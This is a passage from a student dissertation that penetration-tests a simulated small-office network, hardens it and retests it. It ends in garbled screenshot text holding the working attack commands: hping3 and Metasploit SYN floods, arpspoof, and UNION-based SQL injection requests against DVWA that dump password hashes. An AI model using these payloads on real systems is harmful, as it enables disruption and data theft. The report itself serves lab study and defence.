[bookmark: _Toc70014445]Analysis of results
From this penetration test, we can confirm that there are major vulnerabilities and security gaps present in the network. These security vulnerabilities include:

a) ICMP DDOS attack
The attack that was performed lasted for around 490 seconds. Figure 33 below shows the attack visually taking place, from this graph we can determine that the ICMP requests spiked to around 3.6 packets a second. From figure 32 we can determine that the result of the spikes was due to the server not responding to the requests. ‘Hping3’ sends more ICMP packets to the server if the server does not respond. However, the web application of the server was not disrupted due to the attack not being big enough.
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[bookmark: _Toc69951602]Figure 32 Wireshark ICMP monitor
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[bookmark: _Toc69951603]Figure 33 IO Graph ICMP DDOS
b) DDOS SYN flood attack
To determine whether the server was able to complete a three-way handshake a SYN packet was sent to the server to see if the server would send a SYN, ACK packet back and that was successful. To see if the server was able to withstand a SYN flood attack, an attack was carried out on the server. 

From figure 34, as soon as the server started to reply to the kali machine with SYN, ACK packets, it dropped to ping requests from 172.16.1.1. Figure 34 shows that the server was overwhelmed with SYN packets and started to send RST packets back to the kali machine. These RST packets show the three-way handshake was becoming unsuccessful due to the kali machine not sending ACK replies. The RST packets show that the TCP connection to the server was becoming unsuccessful. Figure 35 shows the three attacks visually, from the graph we can see that each attack had a spike of 150+ packets a second be sent to the server.
[image: ]
[bookmark: _Toc69951604]Figure 34 Wireshark SYN flood
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[bookmark: _Toc69951605]Figure 35 IO graph SYN Flood
Figure 36 shows a user trying to access the website on the webserver, the server responded with a connection timed out. This is because the server does not have the time to respond to the HTTP request fast enough before it is timed out. This ultimately shows that the SYN flood was successful on the network and proves that it can disrupt and alter the performance of the webserver.
[bookmark: _Toc69951606][image: A screenshot of a computer
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Figure 36 Web App down
c) ARP Spoofing attack
The ARP spoofing attack occurred on the 192.168.2.0/24 subnet and took advantage of the 192.168.2.1 default gateway on the cisco router. The attack allowed the penetration tester to change the MAC address of the default gateway to the MAC address of the Kali Machine to send all the traffic through the kali machine before entering the 192.168.2.10 machine. Once the penetration tester used the kali machine as a man in the middle, they could monitor the traffic using Wireshark. As seen in figure 37 below all traffic from the 192.168.2.10 machine would be redirected through the kali machine before reaching the router's default gateway.
[image: ]Figure 37 Wireshark ARP spoof monitor

d) SQL Injection attack
The SQL injection attack occurred on the DVWA website located on the webserver. The DVWA website contained an SQL database that was susceptible to an SQL injection attack. When looking at the webpage first there is only a drop-down box and a submit button, due to this there is no option of a text box to directly inject the code. The tool Burp suite is used to intercept the request and alter the request before forwarding it to the database. Figure 39 below shows the request that was received when clicking the submit button. The code id=1 shows that the columns are set in ordinal positions and using 'order by 2' will show the second column. The SQL query is changed from 'id=1' to 'id=1 order by 2' to produce the second column as seen in figure 38.
[image: ][image: ]
[bookmark: _Toc69951608]Figure 38 SQL button
[bookmark: _Toc69951609]Figure 39 SQL query 4



From this then we can inject more SQL code into the query to retrieve more data from the SQL database as seen in the figure 40 and figure 40 below.
[image: ]
[bookmark: _Toc69951610]Figure 40 SQL pull result
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[bookmark: _Toc69951611]Figure 41 SQL query

VI. [bookmark: _Toc70014446]Recommendations
DDOS SYN Flood mitigation
There are a couple of techniques security experts use to mitigate DDOS SYN flood attacks. Below is a table listing the different countermeasures that could be used to strengthen the security in the network.
	Countermeasure
	Details

	Increase Backlog size
	Increasing the backlog size where the TCP connection information is stored. Typically, on most servers, the backlog size can be increased from a few hundred to a few thousand[31].


	SYN cookies
	The creation of SYN cookies allows the server to drop SYN requests if the backlog is full to leave a port open for another connection. If the client sends back an ACK packet, then the server will reconstruct the backlog entry queue enabling the client to establish a three-way handshake. But the downside of using this technique is information about the TCP connection is lost in the process [32].


	Firewall
	One of the most useful mitigation techniques is to add a firewall into the network to filter and stop large amounts of packets entering the network from the same IP address [33].



Table 4 SYN flood mitigation



ICMP DDOS mitigation
	Countermeasure
	Details

	Firewall
	If a firewall placed in the correct position in the network will prevent large-scale ICMP DDOS attacks because it can block ICMP packets entering the network. This will allow internal devices to ping each other but outside devices will not be able to send ICMP requests to devices in the network. [[34]] 

	Disable ICMP packets
	This technique is last resort and will disable all ICMP packets in the network, preventing no devices to send and receive packets within the network [35].



Table 5 ICMP DDOS mitigation


ARP Spoofing mitigation
	Countermeasure
	Details

	Static ARP entries
	Static ARP entries are a feature that allows administrators of a network to enter static ARP entries for every machine in the network. This countermeasure would work in the above SOHO network because the network is small, but this countermeasure would not work on large-scale networks. [36]

	DHCP Snooping
	DHCP snooping is a countermeasure that mainly focuses on countering DHCP spoofing attacks but will also prevent ARP spoofing attacks. This feature will split routers or switch ports into two sectors, trusted and untrusted ports. If a DHCP snooping is executed all DHCP offer requests will only be sent to the trusted ports, otherwise, the packets will be dropped. [37]


Table 6 ARP spoof mitigation



SQL injection mitigation
	Countermeasure
	Details

	Firewall (WAF)
	A web application firewall is one of the must-have security features to have in place to prevent any web-based attacks onto a network. The firewall will monitor all web applications and the traffic being sent to and from the web servers. This traffic includes 'GET' and 'POST' requests. [38]

	Reduction of attack surface
	Reducing the amount of access, a user has to a database will prevent a lot of attacks from taking place. Taking out functions that are linked to the database that do not benefit the security of the webserver.[39] 


Table 7 SQL injection mitigation












VII. [bookmark: _Toc70014447]Hardening of the network
This part of the report shows the different security measures that will be implemented into the gns3 SOHO network to provide security to prevent different cyber-attacks that take place in SOHO networks. 

a) [bookmark: _Toc70014448]Improved Implementation
Figure [] below shows the added physical security feature, this being a Pfsense firewall that is located between the internet and Core router. This will provide security to the incoming traffic entering the network from the internet. Other security features that are added in the implementation are below.
[bookmark: _Toc69951612][image: ]Figure 42 Secured Implementation
b) [bookmark: _Toc70014449]Implementation issues
The only implementation issue that has come to the attention of the penetration tester is that because of the use of switch security features such as port security and DHCP snooping. They are unavailable on the c3725 cisco router software and will not be able to be configured in the implementation. Also, the ‘pfsense’ firewall could not be configured internally due to the interface on the ‘pfsense’ firewall needing a WAN exit interface.
c) [bookmark: _Toc70014450]ARP spoofing mitigation
Due to the use of unmanaged switches and the c3725 ether router, features such as DHCP snooping, and port security are not available to use. Due to these countermeasures being unable to be simulated below are some countermeasures that can be configured and implemented into any network to prevent ARP spoofing attacks from taking place.

I. DHCP snooping
DHCP snooping is a security feature that is configured on switches that connect to a DHCP server. This countermeasure uses a two-port security system. One is a trusted port and another being an untrusted port. The trusted ports will be configured on interfaces that are trusted such as a router interface or another switch interface, and the untrusted ports will be the interfaces that devices connect to. Once the ports have been sorted from trusted to untrusted, the switch will create a table called a ‘binding table’. This table will store information on all the trusted hosts connected from the trusted port. The switch can then figure out if entering DHCP packets are verified or not[40]. 

II. ARP Inspection 
Dynamic ARP inspection is a security measure that can be configured on switches in a SOHO network. ARP inspection consists of using the ‘binding table’ created when configuring DHCP snooping, to monitor the traffic and check if traffic is coming from the correct address and mac address from the binding table.

III. Static ARP entry
A static ARP entry is one of the most secure ways of preventing ARP attacks, but also it is the most time-consuming. This is due to manually creating a static ARP entry on a switch of a host on the network. This security measure will not work in a large-scale network due to the number of hosts connecting and disconnecting daily [41]. 

d) [bookmark: _Toc70014451]Firewall
A firewall is implemented between the network and the ISP, this will enable packets that try to enter the network will be filtered and any private and bogus network address will be blocked completely from entering the network.

Figure 43 below shows how a user outside of the network will be allowed directly into the web server in the network through a port-forward rule that was set up. The user will only be able to access the webserver through port 8000 and will not have access to anything else.

[bookmark: _Toc69951613][image: ]
Figure 43 Firewall Portforward


Figure 44 below shows the rules set up on the Pfsense firewall's WAN interface. These rules show that any connections from private networks will be blocked and dropped. Lastly, all ICMP packets that are sent to the network through the WAN interface are dropped and rejected from entering the network to protect the network from outside ICMP DDOS attacks.

[image: ]
[bookmark: _Toc69951614]Figure 44 Firewall WAN rules



e) [bookmark: _Toc70014452]SYN flood / ICMP DDOS mitigation
I. Updating OS and firewall
Due to the server running on windows 2016. Updating to the latest Windows server 16 operating system and enabling the firewall, will prevent SYN flood attacks taking place on the sever. To implement this into the network, the windows server in the secured network is running the latest version of OS and has the inbuilt windows firewall on[42].

II. [bookmark: _Toc67409378]ICMP requests disabled
Below is an example of the use of ACLs in the network to deny any ICMP traffic from the 192.168.2.0 network. This will prevent ICMP DDOS attacks against the different devices in the network. ACLs are also setup on all other routers in the network to deny all ICMP traffic. [image: Text
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[bookmark: _Toc69951615]Figure 45 ACL
The downside of this countermeasure is there are no ability to troubleshoot the network using the ‘ping’ command. The command ‘access-list 101 deny ICMP 192.168.2.0 0.0.0.255 any’ denies any ICMP requests from any hosts in the network.












III. Router Filtering
The use of an in-built command on the c3725 router software enables the router to inspect and filter packets entering and exiting the routers interfaces. Figure 46 shows the different commands configured on the cisco router. 

[image: ]
[bookmark: _Toc69951616]Figure 46 Router filtering
Below table 8 states what each command does to prevent a SYN flood attack.
	Command
	Details

	‘IP inspect TCP synwait-time 20’
	This command states the time in which a router will wait for a TCP connection to be established before dropping the connection. [43]

	‘ip inspect tcp idle-time 60’
	This command will specify the time in which a connection will be managed if the connection is idle.[44]

	‘ip inspect max-incomplete high 400’ and 
‘ip inspect max-incomplete low 300’
	These commands state the max amount of half-open connections and if the connections reach the max of 400, then it will deplete the connections to a low of 300.[45]


	‘ip inspect one-minute high 600’ and 
‘ip inspect one-minute low 500’
	These commands establish the rate at which connections will be deleted. If the rate of connections hits 600 then it will deplete the number of connections to 500.[46]


Table 8 Router Filtering commands





f) [bookmark: _Toc70014453]SQL Security features
The DVWA application can set the SQL vulnerability to impossible. Figure 47 shows the source SQL code. The code uses PDO (PHP Data Objects) technology to provide a uniform method of accessing the database to execute queries from the memory. Also, the code shows that it uses the anti-CSRF token which stops all cross-site reference forgery attacks and adds further security to the application. This mitigates the threat of SQL injection and mitigates Cross-site scripting attacks too [47]. 
[bookmark: _Toc69951617][image: ]
Figure 47 SQL code DVWA






















VIII. [bookmark: _Toc70014454]Penetration test on the secured network
I. Scoping
This penetration test will be on the secured SOHO network. This test will determine whether the implemented security measures will protect the network from attacks. There are three different networks These networks being 192.168.1.0/24 192.168.2.0/24 and 172.16.1.0/24. The 192.168.1.0 and 2.0 networks contain all the office computers, and the 172.16.1.0 network contains the servers. Access to the internet is through the ISP from the core router. There is access to the network from an internal connection in the office 2 unmanaged switch.


Implications
Due to the implications of simulating and implementing managed switches in gns3 the ARP spoofing mitigation and the ARP spoofing attack will not be included in the second penetration test.


II. Reconnaissance
NMAP/fping
‘Fping’ was unusable because the scan could not find any hosts outside of the 192.168.2.0/24 network due to the ICMP request being disabled at the 192.168.2.1 interface. Figures 49 and 48 show the results of both scans.
[image: ]
[bookmark: _Toc69951618]Figure 48 Nmap scan 2
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[bookmark: _Toc69951619]Figure 49 Nmap scan 3
III. Vulnerability identification
ICMP Disabled
Due to the result from the reconnaissance phase, the was evidence that ICMP was disabled. A simple ping request was performed to double-check if ICMP was disabled the router interface connected to the kali machine. Figure 50 below shows the result of the ping request, it shows that the ICMP packet was filtered. This means that an ICMP DDOS packets are dropped from the router.
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Figure 50 ICMP Disabled
Below in figure 51 is a screenshot of a Wireshark capture, this capture shows that the ICMP request was ‘administratively filtered’ when pining the router interface.
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[bookmark: _Toc69951621]Figure 51 Wireshark monitor ICMP










IV. Exploitation
Firstly, to check whether the countermeasures for the SYN flood attack and SQL attack were working, a SYN flood attack and SQL attack was performed on the webserver.
SYN flood attack
The same attack was performed as from the last experiment to make the experiment fair. The attack that will take place will send 1000 SYN packets as seen in figure 52, to the server to see how the performance of the server handles under a high load or receiving and retransmitting packets.
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[bookmark: _Toc69951622]Figure 52 SYN flood configuration
SQL injection 
An SQL injection attack on the web application is not possible due to the countermeasures in place. These countermeasures include the use of prepared statements and anti-csrf tokens which prevents queries from being executed in HTTP requests using burp suite. Figure 53 below shows that the query uses user_token which prevents the query from being seen. 
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IX. [bookmark: _Toc70014455]Analysis of results
Figure 54 below shows that there were three attacks on the webserver which lasted for 5 seconds each.
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[bookmark: _Toc69951624]Figure 54 IO graph SYN flood
This shows that the SYN flood attack was not successful because from figure 55 below only 200 SYN packets out of the 1000 made it to the webserver and the attack only lasted for five seconds each time. The web server did not send any SYN, ACK replies but sent an RST packet to show that the connection is not valid anymore. This shows that the SYN flood attack was unsuccessful at flooding the Windows server due to the web server dropping the SYN packets.
[bookmark: _Toc69951625][image: ]Figure 55 Wireshark SYN flood packets

The SQL injection was unsuccessful due to the CSRF-tokens and prepared statements in place preventing quires from being executed on burp suite.


To conclude, all three attacks tested on the secured SOHO network were unsuccessful due to the security measures put in place. This chapter covers the experiment part of the project. It covers the different aspects of running a penetration test and designing a SOHO network. The experiment will help determine which hypothesis is correct. 














[bookmark: _Toc70014456]Limitations
This chapter covers all the limitations that were presented throughout the project. When completing the experiment there were several limitations that were encountered. These limitations are listed below:
· GNS3 could not simulate wireless devices.
· GNS3 does not support configurable switches, due to this the C3725 ether router was used to act as a switch.
· Cisco c3725 does not support all the switch security features such as switchport security, DHCP snooping etc.
· Simulated results will not be the same as real environment results due to real environments having live traffic in the network.

To conclude, all these limitations are linked to GNS3 not supporting something. Looking back over the project, this was the best software to use due to the capability of running virtual machines in the network, but the software came with a lot of limitations.














[bookmark: _Toc70014457]Overall Results and Comparisons
The experiment showed that the hypothesis being ‘more vulnerabilities were found on the unsecured network rather than on the secured network’ was correct. Below [Table 9] shows the overall results of the experiment. 
[bookmark: _Toc70014458]Overall Results
	Results

	Attack
	Unsecured Network
	Secured Network

	ICMP DDOS attack
	The ICMP DDOS attack would have been successful on the unsecured network due to ICMP requests being allowed in the network and there is no firewall in the design preventing a large scale ICMP DDOS attack from entering the network.
	The ICMP DDOS attack was unsuccessful on the secured network due to a ICMP requests being disabled and a firewall added between the ISP and the core router.

	SYN flood DDOS attack
	The SYN flood attack was successful on the server in the unsecured network. The results shows that over 30 seconds there was a high spike of 180 packets. This attack was only minor but trying to access the webserver while the attack was occurring was unsuccessful.
	The SYN flood attack was unsuccessful on the secured network. Due to the windows server being updated and packet filtering enabled on the routers. Only 100 packets made it through to the server over a 5 second period.

	ARP spoofing attack
	The ARP spoofing attack changed the MAC address of the default gateway on the etherouter. Due to this every packet sent through the routers interface from the same network as the kali machine was sent through the Kali machine.
	Due to the implications of implementing the security measures to stop ARP spoofing attacks there are no results for the second penetration test for an ARP attack. The predicted result is that with the security measures such as ARP inspection, static ARP entry and DHCP spoofing, the ARP attacks would be unsuccessful.

	SQL injection
	The SQL injection attack pulled out all information within the database, even sensitive information such as usernames and passwords. The attack was successful due to inserting queries into the HTTP request using burp suite.
	With the added security measures such as CRSF tokens and prepared statements it protected the SQL database from being attacked by using prepared statement templates.


Table 9 Overall Results
Overall, the results are as predicted, the original SOHO network was vulnerable to more attacks than the secured SOHO network. From the literature review it suggested that more attacks would occur on the original network due to less security measures in place. With the more security measures added, the risk of attacks becoming successful are reduced dramatically.
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[bookmark: _Toc70014460]SYN flood DDOS Attack
The first penetration test showed that the webserver was affected heavily by the SYN flood attack and the second penetration test showed that the webserver was slightly affected by the SYN flood attack. Below in figures 56 and 57, showed the duration and scale of all three attacks on both SOHO networks. From both graphs, we can see that the first penetration test affected the SOHO network more than the second penetration, the graph shows that the test had spikes of 150+ and the second test and spikes of 85+. From this, we can determine that the security measures in place prevented almost half of the packets from affecting the webserver. Similar to the results from[11], once the server starts to become overloaded with SYN packets it starts to send RST packets back to the attacker. The RST packets sometimes mean that the server is trying to terminate the connection.
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[bookmark: _Toc70014461]ARP Spoofing Attack
The ARP spoofing attack was successful on the first penetration. The attack changed the MAC address of the default gateway to the MAC address of the Kali Machine and shows that the traffic being sent through the gateway is sent through the kali machine. Due to the limitations stated in the limitations section, the counter measures for the ARP spoofing attack were unable to be implemented but the predicted outcome of the added security measures would be that the ARP spoofing attack would be unsuccessful, because of this there are no results to compare with other researchers.


[bookmark: _Toc70014462]SQL injection attack
Within the first penetration test, the SQL injection attack was successful. Figure 58 shows the query that was used to pull information out of ‘password’ and ‘user’ tables in the SQL database. Whereas in the second penetration test burp was unable to view a query due to the security measures of prepared statements which the database creates. The results found in[48] showed that they pulled the username and password from the database using the inbuilt text box on the website to query the database. Due to this project using the medium difficulty on the DVWA web application, burp suite was used to inject queries through the HTTP requests. This shows that even without the ability to query directly in a text box then the use of burp suite can surpass that issue.
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[bookmark: _Toc70014463]ICMP DDOS Attack
The ICMP DDOS attack was successful in the first penetration test because ICMP requests were enabled on all devices in the network and no firewall was monitoring the traffic from entering from the internet, but in the second penetration test it was unsuccessful because ICMP requests were disabled because of the ACL’s configured on the router interfaces, and a firewall was implemented to protect and monitor the network from outside traffic. The ICMP DDOS attack results in [10], showed that the beginning and the middle of the attack has the highest effect on the server. As seen in the first penetration test, the ICMP DDOS attack was the highest at the beginning of the attack. This may be because it is when the greatest number of packets are sent to the server.
















[bookmark: _Toc70014464]Evaluation
From the data collected in the experiments it is too unreliable to compare it to real environment data because in the real environment there is to many factors to take into consideration whereas in a simulated environment it is too perfect. The data collected showed that with more security measures implemented the lower the risk of attackers successfully performing attacks on the network. The project met all the objectives and met the aim of analysing security attacks in a simulated SOHO network and recommend security measures. Overall, the results that were what was expected. If the project were done again, the data would have been more reliable if the implementation were completed in a real environment. If it was completed in a real environment, then the results could corelate a lot better to the results gathered in other research papers that completed in their implementations in a real environment.














[bookmark: _Toc70014465]Conclusion
This project stands out from other projects because the project analyses and tests 4 different cyber-attacks on one SOHO network, then adds security measures in place to reduce the risk of these attacks taking place. This project was based on analysing different attacks in a simulated SOHO network and producing recommendations. To meet the objectives, the project is structured in an ordained fashion. After each objective there is an intro and conclusion to how that objective was completed and how it went. Due to hundreds of different attacks that can occur on a SOHO network there is not enough time to analyse and implement them all, so this project focused on four different attacks and produced security measures in which to prevent these attacks from taken place.

[bookmark: _Toc70014466]Suggestions for further work
Implementing the SOHO network into a real environment and run both penetration test on the original SOHO network and the secured SOHO network to compare the simulated results to the real environment results.















[bookmark: _Toc70014467]Reflection
The project has helped show the writer how security attacks occur on networks and techniques in which they can take to reduce the attacks from happening. If the project was done again there would be more emphasis on designing and implementing a SOHO network in a real environment, then running the experiment on the SOHO network would be more interesting and engaging due to it taken place on a real live environment rather than on a simulating software. This inevitably would have cut out all of the simulation limitations such as devices that are usable on the software and more reliable and real data would have been collected.
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[bookmark: _Toc70014476]Imposed security solutions from researchers
This section is on the proposed solutions to make the home network more secure. The research that is gathered for this section is only from a scholarly source, furthermore, the proposed solutions are from reliable sources and help give guidance on securing the home network.

With the increase in the number of cyberattacks that take place on home networks, there have been several proposed solutions to increasing the security in home networks. A team of people from Arizona university came up with a proposed solution to securing the home network. They proposed a device called 'HomeTPS’ that monitors traffic between the routers in a home network and creates a summary of reports on the traffic that was captured. The device would also detect any malicious traffic that enters the network or leaves the network[49].

Another proposed solution is called the 'RBAC model for Home Network'. This model consists of securing various levels of the home network. The various levels include user authentication, access control, and security policy management. The user authentication level makes sure users and devices that are not authenticated to access the network cannot access the network. The authentication would sit between the gateway and the devices sitting in the network. The access control level consists of once receiving a request from a user in the network, then inspects the control access database to collect the information similar to the request, then sends the request and information to the control enforcement module to check whether the user has access to the network. Lastly, the security policy manager manages the security policy in the home network to manages the different levels from access control to authentication[50].

Students from the Kyungpook national university proposed a solution of using a security service framework. The framework uses the Open Service Gateway to initiate middleware. The middleware provides the devices in the network with an API to connect to. But OSGi's security services are not enough to protect the devices in the network, so the team of students created a secure control service that creates a secure connection for devices in the network to connect to the gateway. The service is similar to the access control level on the RBAC model, there is an authentication request sent from the device to the secure control system and the system checks the integrity of the packet and checks if the user is registered in the system, and if not drops the packet. If the user is registered, then an accept packet is sent back to the user[51].

A more secure network could use the blockchain architecture. Blockchain is a piece of architecture that uses peer to peer networking. It is used to process transactions without any third-party involvement. Blockchain works only peer to peer and a user can only be added if the user joins in an authorised and secure manner. When a request is sent in the network the blockchain will make a copy of itself and will send it to other nodes in the network to make sure that the request had not been tampered with. If the blockchain does not match the original one, then the node will reject the blockchain[52].

Another proposed infrastructure that researchers created was a cloud-driven home network using software-defined networking and proxies. Security measures will be provided by outsourced expert security providers. These providers will manage and maintain the SDN network remotely. Also, the use of SDN networking to help monitor, manage, and secure a network. The system will use a modified gateway that is being run by a software-defined network controller and OpenVSwitch to allow remote access to the network through a cloud security service[53].
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172.16.1.10 is alive
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E(kili@ kali)-[~]
$ sudo hping3 -c 500 ~C -s 172.16.1.11

[sudo] password for kali:
HPING 172.16.1.11 (eth@ 172.16.1.11): icmp mode set, 28 headers + 0 data bytes
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msf6 > search synflood

Matching Modules

# Name Disclosure Date Rank  Check Description

0 auxiliary/dos/tcp/EyNENoed normal No  TCP SYN Flooder

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/dos/tcp/synflood

nsf6 > use 0
msf6 auxiliary(dos/tco/synilood) > set RHOSTS 172.16.1.11
RHOSTS = 172.16.1.11

msf6 auxiliary(<o-/:cn/=ynilood) > set RPORT 8000

RPORT = 8000

msf6 auxiliary(<os/tco/<ynilood) > set num 1000

num = 1000

msf6 auxiliary(dos/tcn/synilood) > exploit

[*] Running module against 172.16.1.11

[*] SYN flooding 172.16.1.11:8000 ..
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echo > 1 /proc/sys/net/ipv4/ip_forward
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. arpspoof -i etho -t 192.168.2.10 -r 192.168.2.1
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CElyeE SreReERe TEIERTERL 2T ETES

) mMERE AesEFICEaqar

(RTApply a display filter ... <Ctr

No. Time Source Destination Protocol_Lengt Info
15 6.504347191  VMware_3d:e7:e0  Private 66:68:01  ARP 42 107.168.2.1 is at 00:0c:29:3d:e7:60
16 6504414561  VMware 3d:e7:ed  c2:02:05:24:00:00  ARP 42 192.168.2,10 1s at 00:0c:29:3d:e7:e0 (duplicate
17 6560782205  192.168.2.20 102.168.2.255 BROWSER 243 Local Master Announcement DESKTOP-1DFAITG, Works
16 6.611489500  192.168.245.1 2301255.255.250  SSDP 211 M-SEARCH * HTTP/1.1
10 7.787913001  192.168,245,1 2301255.255.050  SSDP 170 M-SEARCH * HTTP/L.1
20 8505056548 VMware_3d:e7:ed  Private 66:68:01  ARP 42 192.168.2.1 is at 00:0c:29:3d:e7:e0
21 8505127588 \VMware 3d:e7:ed  c2:02:05:24:00:00  ARP 42 192168.2.10 is at 00:0c:29:3d:e7:e0 (duplicate
22 8.704452499 _ 192.168.2.10 172.16.1.11 TcHp 98 Echo (ping) request id=0x97fc, seq=1/256, ttl=6

5 Fell

2410-505287860  VMware. 3a:e1 Private 60:08:01  ARP 42°195.108.2.1 15 At 00:0c:29:30:e1:e0
25 10/505368116  VMware_3d:e7: €2:02:05:2d:00:00  ARP 42 192168.2.10 1s at 00:0c:20:3d:e7:e0 (duplicate
26 10.796231346  192.168.2. 172.16.1.11 Tcw 98 Echo (ping) request id=0x99fc, seq=2/512, ttl=6
27 10.801285568 192,168, 245.1 230255.255.250  SSDP 170 M-SEARCH * HTTP/1.1
26 12.505658423 VMuare_3d:e7:ed  Private 66:68:01  ARP 42 192.168.2.1 is at 00:0c:29:3d:e7:e0
20 12505785743 3d:e7: €2:02:05:2d:00:00  ARP 42 192168.2.10 1s at 00:0c:29:3d:e7:e0 (duplicate
30 12.797578253_ 192.168.2.10 172.16.1.11 TcH 98 Echo (ping) request id=0xSbfc, seq=3/768, ttl=6

» Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface etho, id 0

» Ethernet II, Src: c2:

2:05:20:00:00 (c2:02:0:

0:00:00), Dst: IPvAncast 6a (01:00:5e:00:00:0a)

» Internet Protocol Version 4, Src: 102.168.2.1, Dst: 224.0.0.10

» Cisco EIGRP
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$ sudo nmap -p- -0 172.16.1.11
starting Nmap 7.91 ( https://nmap.org ) at 2021-03-14 08:32 EDT
Nmap scan report for 172.16.1.11
Host is up (0.083s latency).

Not shown: 65507 closed ports
PORT STATE SERVICE

80/tcp  open http

135/tcp  open msrpc

139/tcp  open netbios-ssn
443/tcp  open https

445/tcp  open microsoft-ds
1433/tcp open ms-sql-s
1801/tcp open msnq

2103/tcp open zephyr-clt
2105/tcp open eklogin
2107/tcp open msmg-mgnt
3307/tcp open opsession-prxy
3389/tcp open ms-wbt-server
5985/tcp open wsman

8000/tcp open http-alt
16450/tcp open unknown
16451/tcp open unknown
16452/tcp open unknown
16453/tcp open unknown
17001/tcp open unknown
47001/tcp open winrm

49664/tcp open  unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown

Device type: general purpose
Running: Microsoft Windows 2016
0S CPE: cpe:/o:microsoft:windows_server_2016
05 details: Microsoft Windows Server 2016 build 10586 - 14393
Network Distance: 4 hops

05 detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 758.03 seconds
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Not Found

<« c @ 172.16.1.11

KaliLinux ~ Kali Training ~ Kali Tools # KaliDocs  Kali Forums

Not Found

NetHunter

1 Offensi

Not Found - Mozilla

Security

Explo

HTTP Error 404. The requested resource is not found.
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Login : Damn Vulnerable Web Application (DVWA) v1.10 *Development*

n o ®

Username

Password

Login
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UseriD:| 1v. ‘Submit

1D: 1 order by 2
First name: admin
Surname: admin
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Bup Project Intruder Repeater Window Help
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T i) opersowser

~ fowad [ oop

Prett In  Actions v

POST /vulnerabilities/sqli/ HITP/1.1

Host: 172.16.1.11:8000

User-Agent: Mozilla/s.0 (XIL; Linux x86_64; rv:78.0) Gecko/2010010L Firefox/78.0

4 Accept: text/htnl,application/xhtnl+xnl,application/xnl ; G=0.9, inage/vebp, ¥/*;4=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-wa-forn-urlencoded

Content-Length: 18

origin: http://172.16.1.11:8000

0 Connection: close

Referer: http://172.16.1.11:8000/vulnerabilities/sqli/

Cookie: PHPSESSID=fpelhh0Svodoe76n7fggstaopl; securit:

Upgrade-Insecure-Requests: 1

order by 26Submi

ubnit
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4 Accept: text/htnl,application/xhtnl+xnl,application/xnl ; G=0.9, inage/vebp, ¥/*;4=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-wa-forn-urlencoded

Content-Length: 18
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0 Connection: close
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Bup Project Intruder Repeater Window Help
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POST /vulnerabilities/sqli/ HITP/1.1

Host: 172.16.1.11:8000

User-Agent: Mozilla/s.0 (XIL; Linux x86_64; rv:78.0) Gecko/2010010L Firefox/78.0
Accept: text/htnl,application/xhtml+xnl,application/xnl;=0.9, inage/vebp, */*;
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://172.16.1.11:8000/vulnerabilities/sqli/

Content-Type: application/x-wa-forn-urlencoded
Content-Length: 18

origin: http://172.16.1.11:8000

Connection: close
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I0: 1or 1=1 union select null, table name from
First name: admin
Surname: admin

ID: 1 or 1 =1 union select null, table_name from
First name: Gordon
Surname: Brown

ID: 1 or 1 =1 union select null, table_name from
First name: Hack
Surname: Me

ID: 1 or 1 =1 union select null, table_name from
First name: Pablo
Surname: Picasso

ID: 1 or 1 =1 union select null, table_name from
First name: Bob
Surname: smith

ID: 1 or 1 =1 union select null, table_name from
First name:
Surname: CHARACTER_SETS

ID: 1 or 1 =1 union select null, table_name from
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Surname: COLLATIONS

ID: 1 or 1 =1 union select null, table_name from
First name:
Surname: COLLATION_CHARACTER SET_APPLICABILITY

ID: 1 or 1 =1 union select null, table_name from
First name:
Surname: COLUMNS

: 1or1
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1 union select null, table name from
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2 Host: 172.16.1.11:8000

3 User-Agent: Mozilla/5.0 (XI1; Linux x85_64; rvi78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xnl,application/xnl;=0.9, inage/vebp, */*;

T i) opersowser

s

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

Content-Type: application/x-wa-forn-urlencoded

& Content-Length: 18

S origin: http://172.16.1.11:8000

10 Connection: close

11 Referer: http://172,16.1,11:8000/ vulnerabilities/sqli/
12 Cookie: PHPSESSID=fpelhh0Suod0e76n7fagstaopl; security:
15 Upgrade-Insecure-Requests: 1
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I0: 1 or 1 =1 union select null,
First name

Surname: user_id

I0: 1 or 1 =1 union select null,
First name:

Surname: first_name

I0: 1 or 1 =1 union select null,
First name:

Surname: last_name

null,

ID: 1or 1 =1 union select null,
First name:

Surname: avatar

ID: 1or 1 =1 union select null,
First name:

Surname: last_login

m: 1or1
First name
Surname: failed_login

1 union select null,

column_name from information_schema.

column_name from information_schema.

column_name from information_schema.

column_name

column_name from information_schema.
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information_schema.c
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in  Actions v

POST /vulnerabilities/sqli/ HITP/1.1
Host: 172.16.1.11:8000

User-Agent: Mozilla/s.0 (XIL; Linux x86_64; rv:78.0) Gecko/2010010L Firefox/78.0
Accept: text/htnl,application/xhtml+xnl,application/xnl;=0.9, inage/webp, */¥;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-wa-forn-urlencoded

Content-Length: 18

origin: http://172.16.1.11:8000

Connection: close

Referer: http://172.16.1.11:8000/vulnerabilities/sqli/

Cookie: PHPSESSID=fpelhhOSvod0e76n7fggstaopl; security=nediun
Upgrade-Insecure-Requests: 1

id=1 or 1 = 1 union select user, password from users#&Submit=Submit|
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ID: 1 or 1 =1 union select user, password from
First name: admin
Surname: 5fddcc3b5aa765d61d8327debas2cfo9

ID: 1 or 1 =1 union select user, password from
First name: gordonb
Surname: e99a18428cb38d5260853678922¢03

ID: 1 or 1 =1 union select user, password from
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 or 1 =1 union select user, password from
First name: pablo
Surname: 0d107d09Sbbed0cade3desc71e9eob?

ID: 1 or 1 =1 union select user, password from
First name: smithy
Surname: 5fddcc3b5aa765d61d8327debas2cfo9

users#

users#

users#

users#

users#
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Problem loading page - MozillaFirefox

L
A Problem loadingpage X 3¢ Preferences x|+
<« c @ 172.16.1.11:8000/setup.php. N @O ¢ =

